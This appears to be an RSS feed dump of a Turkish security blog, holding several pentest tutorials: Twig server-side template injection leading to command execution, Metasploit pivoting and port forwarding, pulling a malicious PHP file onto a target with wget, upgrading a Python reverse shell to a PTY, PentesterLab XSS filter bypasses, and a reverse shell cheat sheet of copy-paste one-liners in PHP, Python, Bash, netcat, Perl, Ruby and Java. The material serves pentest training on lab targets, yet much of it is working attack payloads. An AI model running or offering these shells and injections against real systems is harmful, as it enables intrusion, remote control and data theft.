Hakkı YÜCE, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:50:49 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png Hakkı YÜCE, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Server Side Template Injection https://canyoupwn.me/tr-server-side-template-injection/ https://canyoupwn.me/tr-server-side-template-injection/#respond Sun, 29 Oct 2017 19:14:39 +0000 https://canyoupwn.me/?p=7341 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Template Injection Nedir ? Tema/Şablon motorları (Template Engine) web uygulamalarında dinamik verileri sunmak için kullanılan yaygın yöntemlerden biridir. Şablonlara beklenenin dışında, geliştiricinin istemediği şekilde girdi eklemek, XSS çalıştırmak son derece kolaydır ve kritik bir güvenlik zafiyeti olan Template Injection zafiyetini sömürülebilir ve sunucu tarafına doğrudan saldırı için kullanılabilir, uzaktan kod çalıştırma (RCE) elde edilebilir. Bu […]

TR | Server Side Template Injection Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Template Injection Nedir ?

Tema/Şablon motorları (Template Engine) web uygulamalarında dinamik verileri sunmak için kullanılan yaygın yöntemlerden biridir. Şablonlara beklenenin dışında, geliştiricinin istemediği şekilde girdi eklemek, XSS çalıştırmak son derece kolaydır ve kritik bir güvenlik zafiyeti olan Template Injection zafiyetini sömürülebilir ve sunucu tarafına doğrudan saldırı için kullanılabilir, uzaktan kod çalıştırma (RCE) elde edilebilir. Bu zafiyet hem geliştirici hatası hem de içerik yönetim sistemleri (CMS) tarafından işlevsellik sunmak için template engine kullanılmasından kaynaklanmaktadır.

Web uygulamaları dinamik içeriği sayfalara ve e-postalara katmak için genellikle Twig ve FreeMaker gibi şablon sistemlerini kullanırlar.

Pazarlama için geliştirilmiş bir toplu e-posta uygulaması düşünelim;
Alıcıları mail başında ismine göre (Merhaba Hakkı,) selamlamak için Twig kullanıldığını var sayalım.
İsim aşağıdaki gibi şablona aktarılırsa düzgün çalışır.

$output = $twig->render("Dear {first_name}," array("first_name" =>
$user.first_name) );

Ancak aşağıdaki gibi kullanıcının bu e-postayı özelleştirmesine izin verilirse potansiyel zafiyet baş gösterdi demektir.

$output = $twig->render($_GET['custom_email'], array("first_name" =>
$user.first_name) );

İkinci örnekte kullanıcı şablonun kendisine verilmiş bir değer yerine custom_email GET parametresi ile kontrol eder, haliyle bu durumda bir XSS zafiyeti ortaya çıkar ve bununla birlikte daha kritik Template Injection zafiyetinin varlığı kontrol edilebilir.

custom_email={{7*7}}

Yukarıdaki gibi bir kod çalıştırılır ve çıktısı 49 olursa, Template Injection zafiyeti olduğu doğrulanabilir.

Örn;


Template Injection; kullanıcı girdilerinin doğrudan şablona eklenmesi durumunda ortaya çıkmaktadır.

Yukarıdaki örnek XVWA üzerinden gösterilmiştir.

Zafiyet Tespiti

Template Injection zafiyeti, kendi algılama yöntemine göre değişen iki farklı bağlamda görülebilir.

Düz Metin İçeriği

Çoğu şablon dili HTML formlar üzerinde ‚text’ girişi yapabileceğimiz girdi bağlamını desteklemektedir, aşağıdaki yöntemlerden biri ile görülecektir.

smarty=Hello {user.name}
Hello user1

freemarker=Hello ${username}
Hello newuser

any=<b>Hello</b>
<b>Hello</b>

Bu durum sıklıkla XSS ile sonuçlanır haliyle XSS zafiyetini gördüğümüz her yer potansiyel template injection zafiyeti demektir. Şablon motorları HTML karakterleri ile çakışmamak üzere yapılandırılmıştır.

Kod İçeriği

Kullanıcı adı, değişken olarak şablon deyimine yerleştirilebilir.

personal_greeting=username
Hello user01

Bu şekilde değişken olarak kullanıldığında açık bir şekilde XSS ile karşılaşmıyoruz ve değeri değiştirdiğimizde genelde boş bir çıktı yada uygulama hatası ile sonuçlanıyor. Bu durumda bir şablon ifadesi ve ardından HTML tagi ekleyerek zafiyeti saptayabiliriz.

personal_greeting=username
Hello

personal_greeting=username}}
Hello user01

Tanımlama

Template Injection zafiyetini tespit ettikten sonra uygulamamız gereken adım şablon motorunu tanımlama olmalıdır fakat genellikle otomatik hata mesajlarından direk tanımlanabilir, hata mesajları gizlendiğinde ise iş başa düşmektedir. Tespit için kullanacağımız girdiler şablon motorlarına göre değişiklik gösterebilmektedir.
Örneğin; {{7*7}} girdisi Twig’de 49 olarak çıktı verirken, Jinja2’de 7777777 şeklinde bir çıktı vermektedir. Bu şekilde tanımlama için kullanılabilecek örnek girdiler ve çıkaracağımız sonuç şablonu aşağıdaki gibidir.

 

İstismar / Exploit

Tespit ve tanımlama adımlarından sonra uygulamamız gereken işlem erişilebilen belgelerin okunmasıdır, bu adamın önemi küçümsenmemelidir.

Bir sonraki adım, neye sahip olduğunuzu tam olarak öğrenmek için çevreyi keşfetmektir. Hem şablon motoru tarafından sağlanan varsayılan nesneleri hem de geliştiricinin şablona aktarılan uygulamaya özgü nesneleri bulmaya çalışılmalıdır. Çoğu şablon sistemi kapsamı her şeyi içeren bir”sel” veya namespace nesnesi ve bir nesnenin niteliklerini ve yöntemlerini listelemek için deyimsel bir yöntem sunar.
Eğer yerleşik bir öz nesne yoksa, değişken adları zorlamak zorunda kalacaksınız. Bunun için,FuzzDB ve Burp Intruder’ın sözcük listesi topluluğu; PHP projelerinde kullanılan GET / POST değişken adlarını ve GitHub’ı tarayarak  herkese açık olarak bir wordlists yayınladı.
Geliştirici tarafından sağlanan nesnelerin özellikle hassas bilgiler içermesi muhtemeldir ve bir uygulama içindeki farklı şablonlar arasında değişiklik gösterebilir, bu nedenle bu işlem ideal olarak ayrı ayrı her şablona uygulanmalıdır.

Bu noktada, size sunulan saldırı yüzeyi hakkında sağlam bir fikriniz olmalı ve her bir işlevin istismar edilebilir zayıflıklar açısından gözden geçirilerek geleneksel güvenlik denetim tekniklerini kullanabilmelisiniz.
Uygulamaya özel özellikleri kullanmak için bazı işlevler kullanılabilir. Verilebilecek örnekler dosya okuma / yazma, LFI/RFI, bilgi ifşası ve yetki yükseltme güvenlik açıklarını tetiklemek için template injection kullanacaktır.

İstismar

Bu aşamada zafiyetli web uygulaması XVWA üzerinde bulunan Twig şablon motoru üzerinden örnek gösterilmiştir, diğer motorlar için örnekler aşağıdaki bağlantıdan incelenebilir.

http://blog.portswigger.net/2015/08/server-side- template-injection.html

Twig, PHP dilinde kullanılan popüler şablon motorlarından birisidir. Smarty’nin güvenli moduna benzer diyebiliriz, statik yöntemleri çağırmak mümkün değildir. Twig’in kendi (_self) nesnesi vardır bu nedenle
değişken isimlerini bulmaya zorlamak zorunda kalmayacağız.
_self nesnesi istismar için işimize yarayacak yöntemler içermiyor ancak Twig_Environment nesnesi altında bulunan env niteliğine sahiptir.
Twig_Cache yöntemi, Twig’in derlenmiş şablonlarını (PHP dosyalarını) yüklemeye ve çalıştırdığı dosyaların konumunu değiştirmemize olanak sağlayan bir yöntemdir yani RFI zafiyeti sağlamaktadır.

{{_self.env.setCache("ftp://attacker.net:2121")}}

{{_self.env.loadTemplate("backdoor")}}

Bununla birlikte PHP’nin güncel sürümlerinde allow_url_include vasıtasıyla uzaktaki dosyaların varsayılan olarak eklenmesi engellenebilir yani bu örneğe sık rastlayamayız.
getFilter yönteminde 874. Satır üzerindeki kod call_user_func işlevini çağırıyor, istediğimiz PHP işlevini çağırıp çalıştırabiliriz.

public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

aşağıdaki girdi ile komut çalıştırılabilecektir.

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Server-Side%20Template%20Injection%20RCE%20For%20The%20Modern%20Web%20App%20-%20BlackHat%2015.pdf

TR | Server Side Template Injection Hakkı YÜCE

]]>
https://canyoupwn.me/tr-server-side-template-injection/feed/ 0
TR | How to Pivoting & Portfwd https://canyoupwn.me/how-to-pivoting-port-forwarding/ https://canyoupwn.me/how-to-pivoting-port-forwarding/#respond Mon, 25 Apr 2016 01:23:21 +0000 https://canyoupwn.me/?p=1153 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda Pivoting ve Port Yönlendirme konularını uygulamalı olarak anlatılacaktır. Bu senaryoda zafiyetli bir bilgisayar ele geçirilmiştir ve post exploit sırasında bizim erişemediğimiz farklı bir subnete daha erişebildiği anlaşılmıştır. Ekran görüntüsünde ele geçirilen makinanın farklı bir subnet de “192.168.56.101” IP adresine sahip olduğunu görüyoruz. Şuan da bu IP aralığına bizim erişimimiz yok, peki o makinaya […]

TR | How to Pivoting & Portfwd Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda Pivoting ve Port Yönlendirme konularını uygulamalı olarak anlatılacaktır.

Bu senaryoda zafiyetli bir bilgisayar ele geçirilmiştir ve post exploit sırasında bizim erişemediğimiz farklı bir subnete daha erişebildiği anlaşılmıştır.

pivoting-ifconfig

Ekran görüntüsünde ele geçirilen makinanın farklı bir subnet de “192.168.56.101” IP adresine sahip olduğunu görüyoruz. Şuan da bu IP aralığına bizim erişimimiz yok, peki o makinaya nasıl erişebileceğiz ?

Pivoting

İlk önce Metasploit’in “autoroute” post modülünü kullanarak iki subnet arasındaki iletişimi sağlıyoruz.

run autoroute -s [subnet]

pivoting-autoroute

aktif routing tablosunu görmek için aşağıdaki komutu kullanabiliriz.

run autoroute -p

pivoting-autoroute-p

Artık aradaki iletişimi sağladık, pivoting tamamlandı.
Portscan via Meterpreter

Routing yaptık, ancak bu bacakta hangi makinada hangi portlar açık tespit etmemiz gerekiyor, bunun için;
“background” komutunu vererek Metasploit’e dönüyoruz.

use auxiliary/scanner/portscan/tcp

Metasploit’in nimetlerinden biraz daha faydalanarak tcp port scanner yardımcı aracını çalıştırıyoruz.

pivoting-portscan

192.168.56.1 – 192.168.56.255 IP aralığındaki tüm makinalarda 1 ile 100 arasındaki portları tarayacak şekilde yapılandırdıktan sonra “run” komutu vererek başlatıyoruz.

Bu şekilde bütün IP aralığını ve 100 portu ayrı ayrı tarattırmak biraz uzun süreceği için arka taraftaki bir makinanın IP adresini ve 80 portunu vererek çalıştırıyorum;

pivoting-portscan80

Görüldüğü gibi tarama sonuçlandığında 192.168.56.102 IP adresinde 80 portunun açık olduğunu söylüyor ancak bu servise erişebilmek için 80 portunu kendi makinamızda boş bir porta yönlendirmemiz gerekiyor.

Meterpreter Sessiona geri dönüyoruz.

Port Forwarding

192.168.56.102 makinasının 80 portunu kendimizin (localhost / 127.0.0.1) 8080 portuna yönlendireceğiz.

portfwd add -l [local port] -p [remote port] -r [remote host]

pivoting-portfwd

Şimdi hedef (192.168.56.102) makinanın 80 portuna erişmek için tek yapmamız gereken local 8080 portumuza gitmek olacak.

pivoting-8080

Görüldüğü gibi 192.168.56.102 IP adresine sahip makinanın 80 portunda çalışan servise localhostumuzun 8080 portu üzerinden erişebiliyoruz. Bu servisin zafiyetli bir servis olduğunu var sayarsak ve exploit etmek istediğimiz düşünürsek;

Reverse Shell / Bind Shell

Reverse Shell : Hedef makinadan bize gelen bağlantı.
Bind Shell : Bizden hedef makinaya giden bağlantı.

Routing işlemini tek taraflı meterpreter session üzerinden yaptık yani arkada ki makina bize nasıl ulaşacağını hala bilmiyor, sadece biz ona nasıl ulaşabileceğimizi biliyoruz. Arkadaki makinanın bir servisini exploit etmek için, exploitimze ekleyeceğimiz Metasploit payloadı “bind” olmak zorunda.

TR | How to Pivoting & Portfwd Hakkı YÜCE

]]>
https://canyoupwn.me/how-to-pivoting-port-forwarding/feed/ 0
TR | Python SimpleHTTPServer & WGET https://canyoupwn.me/tr-python-simplehttpserver-wget/ https://canyoupwn.me/tr-python-simplehttpserver-wget/#respond Thu, 04 Feb 2016 02:39:11 +0000 http://canyoupwn.me/?p=310 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef sistem üzerinde bazı zafiyetler yakalayarak bir bağlantı elde etmiş, hatta shell almış olabilirsiniz ancak elinizde ki bağlantı hedef sisteme dosya upload etmenize olanak vermediği durumlarla karşılaşabilirsiniz. Basit bir örnek vermek gerekirse SSH bağlantısı elde etmişsiniz fakat scp komutuna verecek bir root paralanız olmayabilir. Bu durumda hedefe dosya aktarmanın basit bir yolu […]

TR | Python SimpleHTTPServer & WGET Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef sistem üzerinde bazı zafiyetler yakalayarak bir bağlantı elde etmiş, hatta shell almış olabilirsiniz ancak elinizde ki bağlantı hedef sisteme dosya upload etmenize olanak vermediği durumlarla karşılaşabilirsiniz.

Basit bir örnek vermek gerekirse SSH bağlantısı elde etmişsiniz fakat scp komutuna verecek bir root paralanız olmayabilir. Bu durumda hedefe dosya aktarmanın basit bir yolu var.

Python’un SimpleHTTPServer modülü çalıştırıldığı dizinde bir HTTP servisi başlatır. (apache servisi başlatılması gerekmez) Hedefe aktarmak istediğimiz dosyanın bulunduğu dizinde bir SimpleHTTPServer başlatalım…

python -m SimpleHTTPServer 8080

 

 

simplehttpsrv

Artık 8080 portu üzerinde bir HTTP server çalışıyor ve sadece Desktop dizinine erişebiliyor, Desktop da “zararli.php” adında bir dosya var ve hedef sistemde bu dosyayı çekecek bir komut çalıştırmamız gerekli

Wget

wget http://192.168.1.36:8080/zararli.php

192.168.1.36 SimpleHTTPServer başlattığımız makinanın IP adresidir.

wgett

TR | Python SimpleHTTPServer & WGET Hakkı YÜCE

]]>
https://canyoupwn.me/tr-python-simplehttpserver-wget/feed/ 0
TR | Python PTY ile Etkileşimli Shell https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/ https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/#respond Thu, 04 Feb 2016 00:07:08 +0000 http://canyoupwn.me/?p=271 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır. Şimdi bu senaryoyu gerçekleştirelim. r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum. Kendimize […]

TR | Python PTY ile Etkileşimli Shell Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.

Şimdi bu senaryoyu gerçekleştirelim.

r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.

Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.

nc -lvp 4545

nc-lvp-4545

Reverse Shell Cheat Sheet‘de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.

Ben Python kullanacağım, kodu kendime göre düzenliyorum

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

Bu kodu hedef sistem üzerinde çalıştırıyoruz.

non-interactive

Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.

Non-interactive Shell

kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.

 

non-shell-example

Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.

non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer.  Python PTY shelle geçmek için kullanılması gereken python kodu;

 python -c 'import pty; pty.spawn("/bin/sh")' 

python-pty

Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…

root

TR | Python PTY ile Etkileşimli Shell Hakkı YÜCE

]]>
https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/feed/ 0
TR | [PentesterLab] Web For Pentester (XSS) https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/ https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/#respond Wed, 03 Feb 2016 17:15:33 +0000 http://canyoupwn.me/?p=165 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PentesterLab – Web for Pentester’ı https://pentesterlab.com/exercises/web_for_pentester bağlantısını kullanarak indirebilir ve sanal bir bilgisayar olarak kurabilirsiniz. XSS (Cross Site Scripting) HTML kodları arasında istemci tabanlı kod eklenmesi yoluyla kullanıcının tarayıcısında istenilen kodun çalıştırılabilmesi olarak tanımlanıyor. XSS zafiyeti genellikle Javascript betik dili kullanılarak exploit edilir çünkü en temel HTML sayfalar içinde bile en rahat çalıştırılabilecek betik dil […]

TR | [PentesterLab] Web For Pentester (XSS) Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PentesterLab – Web for Pentester’ı https://pentesterlab.com/exercises/web_for_pentester bağlantısını kullanarak indirebilir ve sanal bir bilgisayar olarak kurabilirsiniz.

webforpentester1

XSS (Cross Site Scripting)

HTML kodları arasında istemci tabanlı kod eklenmesi yoluyla kullanıcının tarayıcısında istenilen kodun çalıştırılabilmesi olarak tanımlanıyor. XSS zafiyeti genellikle Javascript betik dili kullanılarak exploit edilir çünkü en temel HTML sayfalar içinde bile en rahat çalıştırılabilecek betik dil Javascriptdir, tarayıcılar xss saldırısında kullanılan kodların sistemde bulunan bir script olup olmadığını bilemez.

XSS zafiyetlerinde saldırı senaryoları değişir ancak genel amaç sistemde yetki sahibi yada hedef kullanıcının hesap bilgilerini ele geçirmektir.

XSS zafiyetleri genellikle URL üzerindeki string yada integer değer taşıyan değişkenlerin bulunduğu bağlantılarda ve arama, login, iletişim için kullanılan formlarda tespit edilir.

XSS zafiyeti kendi içerisinde 3 e ayrılmaktadır.

1 – Reflected XSS

Bu tür xss zafiyetlerinde kodlar kalıcı olarak çalıştırılmaz, bu tür zafiyeti sömürmek için hedef üzerinde zararlı bağlantının çalıştırılması gerekir. Zafiyetin sömürüleceği javascript kodlarının bulunduğu bağlantı hedefe gönderilir ve hedefin bağlantıyı açması beklenir.

2- Stored XSS

Bu tür xss zafiyetlerinde sisteme zararlı javascript kodları eklenilmesi mümkündür, bir ziyaretçi defteri formunda bu zafiyetin bulunması durumunda ziyaretçi defterine eklenen yorumlar veritabanına kayıt edilmektedir ve ziyaretçi defteri her görüntülendiğinde bu bilgiler veritabanından çekilerek gösterilmektedir, bu durumda veritabanına eklenen zararlı javascript kodları da ziyaretçi defteri her görüntülenmek istendiğinde çalıştırılacaktır.

3- DOM XSS

DOM; HTML taglarının genel adıdır. Bu tür XSS zafiyetinde javascript ile HTML taglarının özellikleri, değerleri vs. değiştirilebilmektedir. Reflected XSS türünde olduğu gibi sadece bağlantıyı açan istemciler saldırıdan etkilenir.

 

XSS | Example 1

xss1

İlk örnekte URL’de ki name parametresnin aldığı değerin ekrana bastırıldığını görüyoruz, h4yuc3 olarak değiştirelim.

xss1-2

Şimdi bu parametre üzerinden javascript kodlarını çalıştıralım.

xss1-3

Hiç bir filtreleme yapılmadan doğrudan javascript kodlarının çalıştırıldığını görüyoruz.

Payload : <script>alert(‘CanYouPwnMe’)</script>

 

XSS | Example 2

xss2-1

2. örnekte de name parametresnin aldığı değer ekrana yazdırılıyor.

xss2-2

yine aynı payloadı kullanmak istediğimizde bu kez <script> </script> taglarının silindiğini ve geriye kalan değerin ekrana bastırıldığını görüyoruz… Belli ki bir filtre uygulanmış ve <script> ve </script> filtreye eklenmiş ancak büyük, küçük harf duyarlılığı düşünülmüş mü kontrol edelim.

xss2-3

Tam tahmin ettiğimiz gibi büyük harfler filtreye eklenmemiş.

Payload : <SCRIPT>alert(‘CanYouPwnMe’)</SCRIPT>

XSS | Example 3

3. öernekte sistem yine aynı şekilde name parametresinin değerini ekrana basıyor.

xss3-1

yine büyük harfler ile script tagları eklediğimizde bu kez büyük harflerinde filtreye eklendiğini görüyoruz. Ancak sistem şuan gördüğü ilk <script>, <SCRIPT>, </script>, </SCRIPT> taglarını kaldırıyor,  yukarıdaki <SCRIPT> ve </SCRIPT> taglarının arasına birer tane daha <script> ve </script> eklersek sistem ilk gördüklerini kaldıracak birer tane daha kalacaktır.

xss3-2

Payload : <SC<script>RIPT>alert(‘CanYouPwnMe’)</SC</script>RIPT>

 

XSS | Example 4

4. örnekte yine name parametresinin değeri ekrana bastırılıyor ancak değerin herhangi bir yerinde script kelimesi geçerse ekrana bastırılması gereken değer değil “error” mesajı bastırılıyor.

xss4-1

anlaşılan script tagını kullanamayacağız, farklı bir html tagı arasında javascript çalıştırmamız gerekiyor. <img> Tagını kullanmayı deniyoruz.

<img src=”javascript:alert(‘CanYouPwnMe’)”></img>

yukarıdaki payloadı kullanmayı denediğimizde “javascript” kelimesinin de filtreye takıldığını fark ediyoruz, yine “error” mesajı alıyoruz. Aldığımız mesaj aslında bizim için ipucu niteliği taşıyor 🙂 javascriptin onerror olayını kullanarak alert almayı deneyeceğiz.

<img src=onerror=”alert(‘CanYouPwnMe’)”></img>

Yukarıda ki payloadı kullanmayı denediğimizde artık error mesajından kurtulduk ancak alert alamadık.

xss4-2

Hello yazısının yanında image oluştuğunu görebiliyorz ve bu görseli sürükleyip yeni bir sekmeye bıraktığımızda src parametresinde verdiğimiz değerin URL oluşturduğunu ve bu durumun işimizi bozduğunu görüyoruz verdiğimiz bağlantının başına bir dizin için slash ve boşluk koyuyoruz.

Burada alert kodunun tetiklenme sebebine değinecek olursak özetle, image kaynağında verdiğimiz dizinde bir resim bulunamaması HTML tarafından hata olarak algılanıyor ve bu durumda onerror olayı tetikleniyor.

xss4-3

Payload : <img src=/ onerror=”alert(‘CanYouPwnMe’)”></img>

XSS | Example 5

4. örnek yine aynı şekilde devam ediyor, name parametresinin değeri ekrana bastırılıyor.

Bu örnekte alert almak istediğimizde ekrana error mesajı bastırılıyor.

xss5-1

Bunun sebebinin ne olduğunu anlayabilmek için kullandığımız tagları, kelimeleri, işaretleri … teker teker kaldırarak inceliyoruz.

xss5-2

En son <script> <script> taglarının çalıştığını hataya sebep olan kelimenin “alert” olduğunu anlıyoruz, alert yerine prompt kullanacağız.

xss5-3

Payload : <script>prompt(‘CanYouPwnMe’)</script>

XSS | Example 6

6. örnekte de name parametresine değer giriyoruz ancak bu ekrana bastırılmıyor, Değeri değiştirdikten sonra neler olduğunu daha iyi anlayabilmek için FireBug aracı ile kaynağı inceliyoruz.

xss6-1

Mevcut bir script tagının olduğunu görüyoruz, bu script tagını kapatıp kendimizinkini açalım.

xss6-2

Payload : </script><script>alert(‘CanYouPwnMe’)</script>

XSS | Example 7

Bu örnekte değeri değiştirdikten sonra Firebug ile kaynağı incelediğimizde mevcut script taglarını görüyoruz ve girdiğimiz değer script içerisinde bir değişkene atanıyor.

xss7-1

ancak bir önceki örnekte ki gibi mevcut script tagını kapatıp kendi tagımızı açmak istediğimizde < > işaretleri encode ediliyor ve bu durumda kod içerisinde satır yapısının bozulmasına sebep oluyor, aşağıdaki ekran görüntüsünde noktalı virgüllerden bunu anlayabileceksiniz.

xss7-2

Bu durumda yapmamız gereken, mevcut tagı kapatmadan bu script tagları arasında javascript kodumuzu çalıştırmak olacak. İlk önce sistemin çalışma şeklini analiz edelim;

var $a = ‘ Gireceğimiz Değer ‘; yani biz iki tırnak arasında işlem yapıyoruz, bu durumda yapmamız gereken ilk şey, açılmış olan tırnağı kapatmak ve sonrasında satırı sonlandırmak ( ‘ ; ) daha sonra alert kodumuzu eklemek, satırı sonlandırmak ve girdiğimiz değerden sonra tırnağı kapatmak için otomatik gelecek olan tırnağın önüne bir tırnak açmak ( alert(‘CanYouPwnMe’);’ )

xss7-3

Başarılı şekilde alert aldık, yukarıda bahsettiklerimin daha net anlaşılması için bu haldeyken kaynağı inceleyelim.

xss7-4

Payload : ‘;alert(‘CanYouPwnMe’);’

 

XSS | Example 8

Bu örnekte durum biraz değişiyor, artık URL üzerinde bir parametreye değil HTML form üzerinde bir text alanına değer girişi yapacağız.

xss8-1

Basit bir şekilde alert almayı denediğimizde ise HTML taglarının encode şekilde işlendiğini ve HTML olarak çalıştırılmadığını görebiliyoruz.

xss8-2

Formun kaynağını incelediğimizde girdiğimiz değerin tekrar /xss/example8.php bağlantısına post edildiğini ve bu sayfada işlendiğini görebiliyoruz.

xss8-3

xss8-4

Bu durumda ilk deneyeceğimiz şey <form …. > tagının içerisinde script çalıştırmayı denemek olmalı, bunu yapabilmek için girdiğimiz değerde bu dizini sonlandırıp ( / ) action=”….” parametresini kapatıp ( ) son olarak form tagınıda kapattıktan ( > ) sonra script kodlarımızı eklemek.

xss8-5

xss8-6

Payload : /”><script>alert(‘CanYouPwnMe’)</script>

 

XSS | Example 9

xss9-1

Son XSS Örneğinde …/xss/example9.php#hacker şeklinde bir URL ve ekranda bir “hacker” çıktısı ile karşılaşıyoruz, belli ki # işaretinden sonra gelen değeri ekrana bastıran bir sistem var ancak değeri değiştirdiğimizde ekrana bastırılmadığını fark ediyoruz.

xss9-2

bunun sebebi ne olabilir diye düşünecek olursak tabii ki sistem dinamik şekilde çalışıyor yani DOM XSS zafiyeti ile karşı karşıyayız. Değeri değiştirdikten sonra sayfayı yenilediğimizde bunu rahatlıkla fark edebiliyoruz.

xss9-3

XSS payloadımızı # işaretinden sonrasına ekliyoruz ve alertı görebilmek için sayfayı bir kere yenilememiz yeterli oluyor.

xss9-4

Payload : <script>alert(‘CanYouPwnMe’)</script>
&
Refresh

TR | [PentesterLab] Web For Pentester (XSS) Hakkı YÜCE

]]>
https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/feed/ 0
EN | Reverse Shell Cheat Sheet https://canyoupwn.me/en-reverse-shell-cheat-sheet/ https://canyoupwn.me/en-reverse-shell-cheat-sheet/#respond Sun, 31 Jan 2016 20:28:54 +0000 http://canyoupwn.me/?p=147 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell […]

EN | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

nclvp

The following examples 192.168.10.11 Local IP and the local port 4545 to listen


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i &gt;&amp; /dev/tcp/192.168.10.11/4545 0&gt;&amp;1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/192.168.10.11/4545;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()

EN | Reverse Shell Cheat Sheet Hakkı YÜCE

]]>
